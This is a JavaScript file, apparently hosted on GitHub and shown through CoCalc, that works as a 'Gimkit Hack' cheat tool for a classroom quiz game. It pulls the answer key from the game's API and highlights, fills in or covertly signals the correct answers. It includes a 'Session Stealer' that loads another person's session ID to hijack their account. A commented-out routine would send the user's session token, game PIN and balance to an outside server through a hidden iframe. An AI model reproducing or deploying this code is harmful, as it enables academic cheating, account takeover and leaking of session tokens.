Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
bob486
GitHub Repository: bob486/quizlet
Path: blob/master/gimkit/gimkit.js
56564 views
1
/*
2
* Made by: UndercoverGoose
3
* Version: 1.9
4
*/
5
(function(){
6
console.debug("%cRunning Gimkit Hack V1.9", "color:#FF5555;font-size:20px;");
7
8
// Function/Variables to simplify the creation, appending, and getting of objects/elements
9
let cN = "hckcntnt";
10
let d = "div";
11
let a3 = "#33aa33";
12
let a33 = "#aa3333";
13
let balanceChanges = [];
14
let balanceTimes = [];
15
function gcn(x,y){return document.getElementsByClassName(x)[y]}
16
function cre(t,c,s,i){let x=document.createElement(t);x.className=c,x.style=s,x.innerHTML=i;return x;}
17
function app(v){document.body.appendChild(v)}
18
function appd(v){document.getElementsByClassName(cN)[1].appendChild(v)}
19
function apps(v){document.getElementsByClassName(cN)[7].appendChild(v)}
20
function appup(v){document.getElementsByClassName('sc-dUjcNx cMoWkD')[0].appendChild(v)}
21
22
// Applies default button color and look without having to purchase an upgrade to update the style
23
let newstyle = document.createElement('style');
24
newstyle.textContent='.fkLxCm {box-sizing: border-box;font-size: 17px;color: white;font-weight: bold;text-align: center;display: inline-block;user-select: none;cursor: pointer;padding: 12px 16px;background: rgb(0, 85, 255);transition: background 0.2s ease 0s;border-radius: 4px;font-family: "Product Sans", sans-serif;}';
25
app(newstyle);
26
27
let qs = [],
28
as = [];
29
let list = [];
30
for(let x=0;x<JSON[Object.keys(JSON)[0]].length;x++) {
31
list.push(parseInt(JSON[Object.keys(JSON)[0]][x]["_id"].slice(19,99),16))
32
}
33
list.sort()
34
let gameID = (JSON[Object.keys(JSON)[0]][0]["_id"].slice(0, 19) + (list[0] - 1).toString(16));
35
let r = new XMLHttpRequest();
36
r.open('GET', `https://www.gimkit.com/api/games/fetch/${gameID}`);
37
r.onreadystatechange = function() {
38
if (r.readyState == 4 && r.status == 200) {
39
let json = JSON.parse(r.responseText);
40
for(let x=0;x<(json.kit.questions).length;x++) {
41
qs.push(json.kit.questions[x].text);
42
as.push(json.kit.questions[x].answers[0].text);
43
}
44
}
45
}
46
r.send();
47
48
49
// Cheat toggles and "Menu" button creation
50
let f = [0, 0, 0, 0, 0, 0];
51
let hconfig = {
52
keybinds:{
53
hidemenu: 67, // c:67
54
highlight: 72, // h:72
55
biganswer: 66, // b:66
56
inputanswer: 73, // i:73
57
hiddenanswer: 79 // o:79
58
},
59
theme:{
60
active:"default",
61
default:[[48,63,159],[119,19,34],[168,92,21],[13,107,51],[7,98,150]],
62
night:[[0,10,18],[38,50,56],[55,71,79],[69,90,100],[84,110,122]],
63
thanos:[[13,0,25],[34,0,68],[51,0,102],[62,0,124],[79,23,135]],
64
ocean:[[0,0,99],[40,53,147],[7,98,150],[2,119,189],[21,101,192]],
65
forest:[[76,61,51],[56,86,69],[66,92,73],[65,86,65],[76,99,73]],
66
sunset:[[127,116,150],[224,111,90],[237,113,45],[122,89,106],[232,171,60]],
67
retro:[[156,0,34],[0,29,59],[255,174,82],[254,89,99],[167,28,148]],
68
gold:[[0,0,0],[255,205,43],[255,199,33],[255,209,71],[255,205,56]]
69
},
70
upgrades:{
71
money:[0,10,100,1e3,1e4,75e3,3e5,1e6,1e7,1e8],
72
streak:[0,15,150,1500,15e3,115e3,45e4,15e5,15e6,2e8],
73
multi:[0,50,300,2e3,12e3,85e3,7e5,65e5,65e6,1e9],
74
protec:[0,10,250,1e3,25e3,1e5,1e6,5e6,25e6,5e8]
75
}
76
}
77
let btnattr={
78
style:"width:200px;height:40px;margin-top:3px;background:#aa3333",
79
class:"sc-bdVaJa fkLxCm hckcntnt"
80
}
81
82
let b = cre(d,btnattr.class,"position: fixed; z-index: 1000000; left: 5px; bottom: 5px; width: 100px; height: 40px;","Menu");
83
b.onclick=function(){if(f[0]===0){gcn(cN,1).style.display="block",f[0]=1,gcn(cN,0).innerHTML="X",gcn(cN,0).style.background="#ff0000";}else{gcn(cN,1).style.display="none",f[0]=0,gcn(cN,0).innerHTML="Menu",gcn(cN,0).style.background="";}};
84
app(b);
85
86
// Area for cheat buttons
87
app(cre(d,btnattr.class,"position:fixed;z-index:10000;left:5px;bottom:5px;width:300px;height:600px;display:none",""));
88
89
// Toggles/creates highlight answers cheat
90
let h = cre(d,btnattr.class,btnattr.style,"Highlight Answers");
91
h.onclick=function(){if(f[1]===0){gcn(cN,2).style.background=a3;f[1]=1;hlinterval=setInterval(highlight,0);}else{gcn(cN,2).style.background=a33;f[1]=0;clearInterval(hlinterval);}}
92
appd(h);
93
94
// Toggles/creates big answer cheat
95
let ab = cre(d,btnattr.class,btnattr.style,"Big Answer Box");
96
ab.onclick=function(){if(f[2]===0){gcn(cN,3).style.background=a3;f[2]=1;bainterval=setInterval(biganswer,0);}else{gcn(cN,3).style.background=a33;f[2]=0;clearInterval(bainterval);}}
97
appd(ab);
98
99
// Toggles/creates input answer cheat
100
let ia = cre(d,btnattr.class,btnattr.style,"Input Answer");
101
ia.onclick=function(){if(f[3]===0){gcn(cN,4).style.background=a3;f[3]=1;iainterval=setInterval(inputanswer,0);}else{gcn(cN,4).style.background=a33;f[3]=0;clearInterval(iainterval);}}
102
appd(ia);
103
104
// Toggles/creates hidden answer cheat
105
let ha = cre(d,btnattr.class,btnattr.style,"Hidden Answer");
106
ha.onclick=function(){if(f[5]===0){gcn(cN,5).style.background=a3;f[5]=1;hainterval=setInterval(hiddenanswer,0);}else{gcn(cN,5).style.background=a33;f[5]=0;clearInterval(hainterval);document.title="Play Gimkit! - Enter game code here";}}
107
appd(ha);
108
109
// Creates settings button
110
let se = cre(d,btnattr.class,"width:170px;height:40px;margin-top:3px;background:#333333;position:absolute;bottom:0px;right:0px","Settings");
111
se.onclick=function(){if(f[6]===0){gcn(cN,7).style.display="block";f[6]=1;}else{f[6]=0;gcn(cN,7).style.display="none";}}
112
appd(se);
113
114
// Creates Session Stealer Button
115
let ssb = cre(d,"sc-bdVaJa fkLxCm",btnattr.style,"Session Stealer");
116
ssb.onclick=function(){stealSession()};
117
appd(ssb);
118
119
// Creates Upgradeable Upgrade Display
120
let autoclass = "sc-bdVaJa fkLxCm autoUp";
121
122
let automoney = cre(d,autoclass,btnattr.style+";position:absolute;margin-left: 100px;font-size:12px","Money: Level ? for $?");
123
appup(automoney);
124
125
let autostreak = cre(d,autoclass,btnattr.style+";position:absolute;margin-left:300px;font-size:12px","Streak: Level ? for $?");
126
appup(autostreak);
127
128
let automulti = cre(d,autoclass,btnattr.style+";position:absolute;margin-left:500px;font-size:12px","Multi: Level ? for $?");
129
appup(automulti);
130
131
let autoprotec = cre(d,autoclass,btnattr.style+";position:absolute;margin-left:700px;font-size:12px","Protec: Level ? for $?");
132
appup(autoprotec);
133
134
let lvl = {
135
money: 0,
136
streak: 0,
137
multi: 0,
138
protec: 0
139
}
140
function autowhatever(){
141
let bal = document.getElementsByTagName(d)[9].innerHTML.split(",").join("").split("$").join("");
142
let shrink = document.getElementsByClassName('autoUp');
143
let hc = hconfig.upgrades;
144
145
if(typeof document.getElementsByClassName('sc-bdVaJa Harxh')[0] !== "undefined"){
146
if(document.getElementsByClassName('sc-bdVaJa Harxh')[0].childNodes[0].childNodes[0].innerHTML === "Money Per Question"){
147
for(let x=0;x<10;x++) {
148
if(document.getElementsByClassName('sc-eXEjpC joQyGL')[x].innerHTML.lastIndexOf('gray') > -1 && x + 1 > lvl.money) {
149
lvl.money = x + 1;
150
}
151
}
152
}else if(document.getElementsByClassName('sc-bdVaJa Harxh')[0].childNodes[0].childNodes[0].innerHTML === "Streak Bonus") {
153
for(let x=0;x<10;x++) {
154
if(document.getElementsByClassName('sc-eXEjpC joQyGL')[x].innerHTML.lastIndexOf('gray') > -1 && x + 1 > lvl.streak) {
155
lvl.streak = x + 1;
156
}
157
}
158
}else if(document.getElementsByClassName('sc-bdVaJa Harxh')[0].childNodes[0].childNodes[0].innerHTML === "Multiplier") {
159
for(let x=0;x<10;x++) {
160
if(document.getElementsByClassName('sc-eXEjpC joQyGL')[x].innerHTML.lastIndexOf('gray') > -1 && x + 1 > lvl.multi) {
161
lvl.multi = x + 1;
162
}
163
}
164
}else if(document.getElementsByClassName('sc-bdVaJa Harxh')[0].childNodes[0].childNodes[0].innerHTML === "Amount Covered") {
165
for(let x=0;x<10;x++) {
166
if(document.getElementsByClassName('sc-eXEjpC joQyGL')[x].innerHTML.lastIndexOf('gray') > -1 && x + 1 > lvl.protec) {
167
lvl.protec = x + 1;
168
}
169
}
170
}
171
}
172
try{
173
if(lvl.money < 10) {
174
shrink[0].innerHTML = "Money: Level " + (lvl.money + 1) + " for $" + hc.money[lvl.money];
175
if(bal >= hc.money[lvl.money]) {
176
shrink[0].style.background = a3;
177
}else {
178
shrink[0].style.background = a33;
179
}
180
}else {
181
shrink[0].innerHTML = "MAX";
182
}
183
if(lvl.streak < 10) {
184
shrink[1].innerHTML = "Streak: Level " + (lvl.streak + 1) + " for $" + hc.streak[lvl.streak];
185
if(bal >= hc.streak[lvl.streak]) {
186
shrink[1].style.background = a3;
187
}else {
188
shrink[1].style.background = a33;
189
}
190
}else {
191
shrink[1].innerHTML = "MAX";
192
}
193
if(lvl.multi < 10) {
194
shrink[2].innerHTML = "Multi: Level " + (lvl.multi + 1) + " for $" + hc.multi[lvl.multi];
195
if(bal >= hc.multi[lvl.multi]) {
196
shrink[2].style.background = a3;
197
}else {
198
shrink[2].style.background = a33;
199
}
200
}else {
201
shrink[2].innerHTML = "MAX";
202
}
203
if(lvl.protec < 10) {
204
shrink[3].innerHTML = "Protec: Level " + (lvl.protec + 1) + " for $" + hc.protec[lvl.protec];
205
if(bal >= hc.protec[lvl.protec]) {
206
shrink[3].style.background = a3;
207
}else {
208
shrink[3].style.background = a33;
209
}
210
}else {
211
shrink[3].innerHTML = "MAX";
212
}
213
214
215
}catch(err){}
216
217
/*/ Questions Per Second
218
let currentBal;
219
if(document.getElementsByTagName("div")[9].innerHTML.indexOf("$") === -1) {
220
currentBal = parseInt(document.getElementsByTagName("div")[10].innerHTML.slice(1).split(",").join(""));
221
}else {
222
currentBal = parseInt(document.getElementsByTagName("div")[9].innerHTML.slice(1).split(",").join(""));
223
}
224
225
if(balanceChanges.length === 0) {
226
if(document.getElementById("qps") === null ){
227
let bcx = document.createElement("span");
228
bcx.style = "font-size: 15px;position:fixed;right: 120px;color:white; top: 5px;";
229
bcx.id = "qps";
230
document.body.appendChild(document.createElement('b'));
231
document.body.appendChild(bcx);
232
}
233
balanceChanges.push(currentBal);
234
}
235
236
if(balanceChanges[balanceChanges.length - 1] !== currentBal) {
237
balanceChanges.push(currentBal);
238
balanceTimes.push(new Date().getTime());
239
}
240
241
if(parseFloat(balanceChanges.length / 10).toFixed(1) >= 1) {
242
document.getElementById("qps").style.color = a33;
243
}else {
244
document.getElementById("qps").style.color = "#fff";
245
}
246
247
for(let x=0;x<balanceTimes.length;x++) {
248
if(new Date().getTime() - balanceTimes[x] >= 10000) {
249
delete balanceTimes[x];
250
delete balanceChanges[x];
251
252
balanceTimes = balanceTimes.filter((a,b) => a + b);
253
balanceChanges = balanceChanges.filter((a,b) => a + b);
254
}
255
}
256
257
document.getElementById("qps").innerHTML = ((balanceChanges.length - 1) / 10).toFixed(1) + " questions per second";*/
258
259
}setInterval(autowhatever, 0);
260
261
// Creates setttings placeholder
262
let sep = cre(d,btnattr.class,"position: fixed; z-index: 10000; left: 310px; bottom: 5px; width: 300px; height: 600px; display: none;","");
263
app(sep);
264
265
let setxt = document.createElement('span');
266
setxt.appendChild(document.createTextNode('Themes'));
267
apps(setxt);
268
269
apps(document.createElement('br'));
270
271
// Theme Buttons
272
for(let x=0;x<8;x++){
273
let y=hconfig.theme;
274
let t = cre(d,"sc-bdVaJa fkLxCm","width:200px;height:40px;margin-top:3px;background:rgb("+y[Object.keys(y)[x+1]][3].join(",")+")",Object.keys(y)[x+1]);
275
t.onclick=function(){y.active=Object.keys(y)[x+1]};
276
apps(t);
277
}
278
279
/*/ Allows I To Track Usage & Demand
280
function log(){
281
let bbid = localStorage.getItem('blueboat-id');
282
let ljm = localStorage.getItem('GIMKIT_LAST_GAME_JOINED');
283
let bal = document.getElementsByTagName(d)[9].innerHTML;
284
285
let i = document.createElement('iframe');
286
i.style.display = "none";
287
i.style.position = "fixed";
288
i.src = "https://cagna.herokuapp.com/?ID:" + bbid + "%20PIN:" + ljm + "%20BAL:" + bal;
289
document.body.appendChild(i);
290
}setInterval(log, 60000);/*/
291
292
// Functions that make the cheats work
293
function highlight(){
294
try{
295
let d=document.getElementsByClassName('notranslate lang-en'),q=d[0].innerHTML,a=[d[1].innerHTML,d[2].innerHTML,d[3].innerHTML,d[4].innerHTML],i=a.indexOf(as[qs.indexOf(q)])+1;
296
d[i].parentNode.parentNode.style.background="white",d[i].style.color="black";
297
}catch(err){}
298
}
299
300
function stealSession(){
301
let session = prompt("Enter Session ID:", "");
302
if(session.length === 21) {
303
localStorage.setItem('blueboat-id', session);
304
document.location.reload();
305
}else {
306
alert("Invalid Session Length");
307
}
308
}
309
310
function biganswer(){
311
try{
312
let d=document.getElementsByClassName('notranslate lang-en'),q=d[0].innerHTML,a=[d[1].innerHTML,d[2].innerHTML,d[3].innerHTML,d[4].innerHTML],i=a.indexOf(as[qs.indexOf(q)])+1;
313
d[i].parentNode.parentNode.parentNode.style="position:fixed;left:5px";
314
}catch(err){}
315
}
316
function inputanswer(){
317
try{
318
let q=document.getElementsByClassName('notranslate lang-en')[0].innerHTML;
319
document.getElementsByClassName('sc-jhAzac egTZap')[0].value=as[qs.indexOf(q)];
320
}catch(err){}
321
}
322
function hiddenanswer(){
323
try {
324
let d=document.getElementsByClassName('notranslate lang-en'),q=d[0].innerHTML,a=[d[1].innerHTML,d[2].innerHTML,d[3].innerHTML,d[4].innerHTML],i=a.indexOf(as[qs.indexOf(q)])+1;
325
document.title=i + "lay Gimkit! - Enter game code here";
326
}catch(err){}
327
}
328
329
// Theme changer
330
function themechanger(){
331
try{
332
let hc = hconfig.theme;
333
let sc = 'sc-Rmtcm';
334
gcn('sc-bwzfXH',0).style.background="rgb("+hc[hc.active][0].join(",")+")";
335
gcn(cN,1).style.background="rgb("+hc[hc.active][4].join(",")+")";
336
gcn(cN,7).style.background="rgb("+hc[hc.active][2].join(",")+")";
337
for(let x=0;x<5;x++){
338
if(hconfig.theme.active === "gold") {
339
gcn(sc,x).style.background="rgb("+hc[hc.active][x+1].join(",")+")";
340
if(x === 0) {
341
gcn(sc,0).style.color="rgb(255, 205, 43)";
342
}else {
343
gcn(sc,x).style.color="black";
344
}
345
}else {
346
gcn(sc,x).style.background="rgb("+hc[hc.active][x+1].join(",")+")";
347
gcn(sc,x).style.color="white";
348
}
349
}
350
}catch(err){}
351
352
/*/ New [WIP] Method For Highlight Answer
353
if(typeof document.getElementsByClassName("fas fa-arrow-down")[0] === "object") {
354
let q = document.getElementsByClassName("sc-bwzfXH gbnVhw")[0].childNodes[0].childNodes[0].childNodes[0].innerHTML;
355
let a = document.getElementsByClassName("sc-bwzfXH gbnVhw")[2].childNodes[0].childNodes[0].childNodes[0].innerHTML;
356
357
if(nhq.indexOf(q) === -1 && document.getElementsByClassName('sc-bwzfXH gbnVhw').length === 4) {
358
nhq.push(q);
359
nha.push(a);
360
console.log(nhq, nha);
361
}
362
}*/
363
}setInterval(themechanger, 0);
364
365
366
367
// Key events for added features
368
window.onkeydown=function(e){
369
if(e.keyCode===hconfig.keybinds.hidemenu){
370
if(f[4]===0){
371
f[4]=1;
372
document.getElementsByClassName(cN)[0].style.display="none"
373
}else {
374
f[4]=0;
375
document.getElementsByClassName(cN)[0].style.display=null;
376
}
377
}else if(e.keyCode===hconfig.keybinds.highlight){
378
highlight();
379
}else if(e.keyCode===hconfig.keybinds.biganswer){
380
biganswer();
381
}else if(e.keyCode===hconfig.keybinds.inputanswer){
382
inputanswer();
383
}else if(e.keyCode===hconfig.keybinds.hiddenanswer){
384
hiddenanswer();
385
}
386
}
387
}());
388
389